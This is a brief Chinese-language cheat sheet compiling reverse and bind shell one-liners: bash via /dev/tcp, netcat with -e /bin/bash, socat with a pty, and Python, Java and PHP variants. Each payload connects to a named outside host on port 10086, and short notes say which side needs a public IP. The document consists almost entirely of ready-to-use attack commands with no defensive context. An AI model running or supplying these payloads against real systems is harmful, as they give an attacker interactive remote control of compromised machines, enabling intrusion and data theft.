反弹shell方法整理
一、netcat
1、
控制端:
nc -lvp 10086
被控端:
bash -i > /dev/tcp/www.hyluz.cn/10086 0>&1 2>&1
要求控制端先上线,被控端再加入
部分被控没有安装netcat(nc)可以采用这种方法
需要控制端具有公网IP
2、
被控端:
nc -lvvp 10086 -t -e /bin/bash
控制端:
nc 10086
被控端将shell映射到本机10086端口,控制端再连接
shell直接暴露在公网,易发生危险
需要被控端具有公网IP
二、socat
控制端:
socat TCP-LISTEN:10086 -
被控端:
/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:www.hyluz.cn:10086
要求控制端先上线,被控端再加入
需要控制端具有公网IP
三、常用编程语言
1、python
被控端:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("www.hyluz.cn",10086));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
2、Java
被控端:
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/www.hyluz.cn/10086;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[]) p.waitFor()
3、PHP
被控端:
php -r '$sock=fsockopen("www.hyluz.cn",10086);exec("/bin/sh -i <&3 >&3 2>&3");'
需要控制端具有公网IP